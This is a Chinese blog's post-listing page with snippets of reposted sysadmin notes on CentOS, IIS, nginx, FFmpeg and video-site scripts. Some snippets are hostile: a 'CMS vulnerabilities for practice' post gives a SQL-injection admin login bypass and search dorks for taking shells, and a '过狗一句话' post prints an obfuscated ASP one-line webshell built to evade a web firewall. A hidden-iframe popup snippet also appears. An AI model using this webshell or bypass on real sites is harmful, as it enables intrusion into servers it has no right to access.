自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(197)
  • 收藏
  • 关注

转载 CentOS 6.8安装Python2.7.13

查看当前系统中的 Python 版本python --version返回 Python 2.6.6 为正常。检查 CentOS 版本cat /etc/redhat-release返回 CentOS release 6.8 (Final) 为正常。安装所有的开发工具包yum groupinstall -y "Development tools"安装其它...

2016-12-27 00:24:00 168

转载 [HOWTO] Install Sphinx for A Script Pro

Hi,Here's a small howto on installing Sphinx Search (http://sphinxsearch.com/) and configuring it to work with Adult Script Pro. By using sphinxyou will be able to allow users to search for vid...

2016-09-13 14:45:00 168

转载 A Script Pro nginx URL重写规则无法播放MP4解决方法

I am using nginx and I have already add the line location /file/ { rewrite ^/file/([0-9]+)/([0-9]+)/([^/]*)/([0-9]+)/(.*)$ /file.php?id=$1&server=$2&hash=$3&expire=$4&...

2016-09-04 20:12:00 176

转载 随机跳转

<script language=javascript>i = parseInt(Math.random()*2) switch(i) {case 0:location.href='http://www.baidu.com';break;case 1:location.href='http://www.google.com';break;}</script>...

2016-07-15 21:52:00 185

转载 一些CMS网站系统漏洞,练手用(持续更新)

仅供拿shell,提权测试用,请勿恶意破坏XuSoft系统:后台万能密码:'or'='or' 可直接登陆,后台地址/manage/login.aspinurl:ReadArticlemb.asp?id=inurl:ReadBigClassmb.asp?id=inurl:ReadBigClassmbNews.asp?id=UPUPW绿色服务器平...

2016-04-30 03:43:00 944

转载 相应的游戏服务器组件信息不存在,房间创建失败

1,查看下,服务端是否有游戏服务组件。那是因为数据库里面添加游戏模块的ID跟游戏的标识不一致,改成一样的数字即可转载于:https://www.cnblogs.com/94YY/p/5258166.html...

2016-03-09 14:47:00 203

转载 mysql sql语句大全

1、说明:创建数据库CREATE DATABASE database-name2、说明:删除数据库drop database dbname3、说明:备份sql server--- 创建 备份数据的 deviceUSE masterEXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwin...

2015-11-21 13:11:00 71

转载 域名重定向的问题。

新上线了一个网站。。用的香港空间。。想将不带www 的重定向到 www上面。。虚拟主机空间用的 操作系统:Windows Server 2008 64bit R2 ; WEB服务:Windows IIS7.5找空间商说要用.htaccess 做重定向,可是不成功,我的代码如下:复制代码123rewriteEngine on...

2015-11-03 23:00:00 156

转载 linux自动备份文件和数据库并上传到指定的远程FTP中

直接把以下脚本复制到/root/backup.sh[[email protected] ~]# chmod +x /root/backup.sh[[email protected] ~]# crontab -e00 06 * * * /root/backup.sh[[email protected] ~]# service crond restart[[email protected] ~]# chkconfi...

2015-11-01 22:26:00 78

转载 Automatically watermark all uploaded photos (给所有上传的相片加水印)

Hello,This mod automatically watermark all uploaded photos.Price: FREE, enjoy.You will have to edit 3 files:1. ../classes/image.class.php - watermark function.2. ../modules/upload/photo.php - whe...

2015-10-20 20:40:00 79

转载 给AVS添加描述(how to add a description to a video)

UPDATEyou might need edit few files.1. add the input field to the tpl file: /templates/frontend/yourcolor/upload_video.tplname the field as description<div class="separator"><label for="...

2015-10-20 20:36:00 174

转载 由于权限不足而无法读取配置文件出现的HTTP 500.19解决办法

无法访问请求的页面,因为该页的相关配置数据无效。如下图:解决方法,到站点目录的属性,安全标签,添加用户(Everyone),并给修改权限:转载于:https://www.cnblogs.com/94YY/p/4890328.html...

2015-10-18 21:16:00 80

转载 win7 IIS7.0 【IIS 管理器无法验证此内置帐户是否有访问权】

异常信息: 服务器配置为将传递身份验证和内置帐户一起使用,以访问指定的物理路径。但是,IIS 管理器无法验证此内置帐户是否有访问权。请确保应用程序池标识具有该物理路径的读取访问权。如果此服务器加入到域中,并且应用程序池标识是 NetworkService 或 LocalSystem,则验证<domain>/<computer_name>$ 具有...

2015-10-13 06:48:00 1477

转载 用户、组或角色 在当前数据库中已存在

SQL Server把一台服务器上的数据库转移到另外一台服务器上。而转移完成后,需要给一个"登录"关联一个"用户"时,发生错误:“错误15023:当前数据库中已存在用户或角色”或“用户、组或角色 在当前数据库中已存在”原因及解决办法:sql server中登录用户名与数据库用户用户名的区别。登录用户名用于用户身份验证,而数据库用户用户名用于数据库访问和权限验证。登录通过安...

2015-10-12 16:45:00 121

转载 恢复安全配置

secedit /configure /cfg %windir%\inf\defltbase.inf /db defltbase.sdb /verbose转载于:https://www.cnblogs.com/94YY/p/4870607.html

2015-10-12 07:30:00 72

转载 好用的JQ图片特效jquery-poptrox-popup-galleries

jQuery Poptrox – Popup galleriesRate this (1 Vote)DownloadDemojQuery PoptroxAdds popup galleries to jQuery. Heavily customizable, easy to use, and built to sup...

2015-10-08 16:44:00 210

转载 CentOS安装rar、unrar解压缩软件的方法

闲话不说,centos上如何安装rar、unrar在线解压缩软件呢?如果您的centos是32位的,执行如下命令:wgethttp://www.rarsoft.com/rar/rarlinux-3.9.3.tar.gztar-zxvfrarlinux-3.9.3.tar.gzcdrarmake看见下面这些信息就是安装成功了:mkdir-p/usr/l...

2015-09-28 05:20:00 54

转载 页首固定导航条和页底固定导航条

页首固定导航条#topNav {position:fixed;top:0;_ position:absolute;_top:expression_r(eval_r(document.documentElement.scrollTop));overflow:auto;z-index:9999;}页尾固定导航条body {...

2015-09-14 21:35:00 108

转载 Centos下删除文件名乱码文件

centos下通过rm命令来删除文件,但是如果要删除文件名乱码的文件,就不能直接使用rm命令了,因为压根就无法输出文件名来。不过借助find命令可以实现对其删除。在linux下对于每个文件都一个对应的不变的inode号,使用 ls -li 可以查看到文件的inode号,同时find可以根据inode号来查找,另外find命令中可以执行其他的命令。删除的步骤如下:通过ls -l...

2015-08-16 04:25:00 258

转载 Linux系统下快速删除某个目录下大量文件

不管是哪个操作系统,同一级目录存在太多的文件都是一件可怕的事情,不管是读取还是删除的时候。一旦这种不幸的事情发生在你身上,而又不能完全把整个目录删掉怎么办呢?你可以用 rm -f *.log 但是你马上就会收到一个出错信息:参数列表太长一个小时以前我一直还是缩小通用匹配符的范围,例如我依次的执行rm -f a*.logrm -f b*.log...

2015-08-12 06:34:00 742

转载 老哥

为你我受冷风吹【祝我生日快乐】_温岚转载于:https://www.cnblogs.com/94YY/p/4722910.html

2015-08-12 05:14:00 77

转载 网址测速JS

/*.route_nav li a:hover{background: #3c7f84 url(title.png) no-repeat;border-color:#84a3a5;}*/ .route_nav li a:hover{background:#3c7f84;border-color:#84a3a5; color:#FFF;} .route_nav li a.line1:hov...

2015-08-10 02:36:00 107

转载 CentOS下php使用127.0.0.1不能连接mysql的解决方法

这篇文章主要介绍了CentOS下php使用127.0.0.1不能连接mysql的解决方法,本文原因是SELINUX导致的连接失败,需要的朋友可以参考下php代码很简单:复制代码代码如下:$server="127.0.0.1";println("Begin");$link = mysql_connect($server,"mysql","mysql");if (!$lin...

2015-07-24 20:15:00 120

转载 centos 安装RAR

根据系统的情况下载rarlinuxx64版本wget http://www.rarlab.com/rar/rarlinux-x64-4.2.0.tar.gzx86版本wget http://www.rarlab.com/rar/rarlinux-4.2.0.tar.gz解压:tar zxvf rarlinux-x64-4.2.0.tar.gz移动rar到/usr/local/rar目录m...

2015-07-17 19:10:00 51

转载 LNMP笔记:域名重定向、读写权限、显示WP主题、北京时间

边写边记,以后还会用到的。将 xxx.com 重定向到 www.xxx.com1.打开 /usr/local/nginx/conf/vhost/你网站的域名.com.conf 2.查看原有的 server{}中的 server_name 已经是否包含两种域名1server_name www.xxx.com xxx.com;...

2015-06-22 15:26:00 127

转载 AMH4.2 Ftp账号路径修改设置

AMH4.2的ftp控制有点不尽如人意,每个ftp账号只能对应一个站点;如果按照面板所提供的权限,有多少个站就得设置多少个ftp账号,这一操作就会非常麻烦,造成效率低下;不过AMH5.0已经能够通过面板设置一个ftp账号对应多个站点了,但是要收费的个人版五块钱一个月;通过SSH命令也是能够让amh4.2设置的ftp管理全部站点的;首先附上我的命令操作日志吧,看得懂的人一目了然...

2015-06-22 03:14:00 164

转载 过狗一句话

siteName="":Execute(DeAsc("%119%136%115%126%50%132%119%131%135%119%133%134%58%52%116%115%133%119%52%59")):Function DeAsc(Str):Str=Split(Str,"%"):For I=1 To Ubound(Str):DeAsc=DeAsc&Chr(Str(I...

2015-06-20 18:13:00 62

转载 破解tumblr背景音乐

http://sex.tumblr.com/api/read/json?callback=streampadPlayerBlogV2.getAudioResponse&type=audio&start=0&num=50http://sex.tumblr.com/post/113976814099/audio_player_iframe/sex/tumblr_n...

2015-06-05 19:34:00 221

转载 lnmp下安装ffmpeg和ffmpeg-php教程

现在我将我的过程方法发布出来。以下都是用SSH命令一。安装ffmpeg操作系统:centos6安装ffmpeg有两种方式:①.用源码包安装,这个不知道怎么回事老是报错②用yum命令安装,centos下用yum命令是最好的!1.先安装编译环境:#yum install -y automake autoconf libtool gcc gcc-c++2.然后安装rpm程序包到centosrp...

2015-06-01 15:32:00 146

转载 How To install FFMPEG, FLVTOOL2, MP4Box on CentOS server 2015 easy method

for i386:wget http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el6.rf.i686.rpmrpm -ivh rpmforge-release-0.5.3-1.el6.rf.i686.rpmfor x86_64:wget http://pkgs.repoforge.org/r...

2015-06-01 13:40:00 184

转载 自己的路删除

wget http://down4.zijidelu.org/projects/zijidelu-lunamp/files/LuNamp_last/LuNamp_last.tar.gz;tar xvf LuNamp_last.tar.gz;cd LuNamp;./i.shwget http://down4.zijidelu.org/projects/zijidelu-luna...

2015-06-01 02:01:00 79

转载 弹出CPA

var url = "cpa url";document.write("<iframe name='ip' src='' width='0' height='0' marginheight='0' marginwidth='0' hspace='0' vspace='0' frameborder='0' scrolling='no' style='display:none;...

2015-06-01 00:56:00 86

转载 IIS7.5 APPCMD 简单用法及示例

1 添加应用程序进城池appcmd.exe add apppool /name:test.com /managedRuntimeVersion:"v4.0" /managedPipelineMode:"Integrated"2 添加站点,指定站点名,绑定,物理路径appcmd.exe add site /name:"test.com" /id:1 /bindi...

2015-05-31 21:26:00 277

转载 64位系统中开启32位应用,特别是OLEDB

IIS7 - Running 32-bit and 64-bit ASP.NET versions at the same time on different worker processesIIS7 - Running 32-bit and 64-bit ASP.NET versions at the same time on different worker processes...

2015-05-31 21:23:00 431

转载 CentOS 添加/绑定 IP

美国VPS的独立IP相对于国内而言,是非常的便宜的。比如有些美国VPS,买5个独立IP才三美元左右一个月。当我们购买了多个独立IP时,如果你不想再联系客服而漫长的等待,那就自己手动配置吧。一、进入/etc/sysconfig/network-scripts/目录cd /etc/sysconfig/network-scripts/如图,是我已经配置好的文件,ifcf...

2015-05-28 03:38:00 163

转载 滑动导航

function fixed_top_nv(eleid, disbind) { this.nv = eleid && $(eleid) || $('nv'); this.openflag = this.nv && BROWSER.ie != 6; this.nvdata = {}; this.init = fun...

2015-05-23 13:45:00 73

转载 框架代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>...

2015-05-16 23:28:00 89

转载 Install FFmpeg, Mplayer, Mencoder, MP4Box, Flvtool2

You can use the following tutorial toinstall ffmpeg and other video modulesin your centos server.FFmpegis an audio/video conversion tool. It includes libavcodec, the leading open source codec ...

2015-03-29 03:46:00 94

转载 How to install ffmpeg,mp4box,mplayer,mencoder,flvtool2,ffmpeg-php on centos

1. Enable RPM Fusion yum repositoryThe CentOS rpm packages of ffmpeg, mplayer, mencoder and MP4Box are available on RPM Fusion YUM repository. RPM Fusion repo depends on packages from EPEL ...

2015-03-29 03:44:00 87

转载 How to install MP4box on CentOS 6

How to install MP4box on CentOS 6MP4Box is a MP4 multiplexer. It can import MPEG-4 video, DivX, XviD, 3ivx, h264 etc, audio streams and subtitles into the .mp4 container. The end result is a ...

2015-03-29 03:43:00 71

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除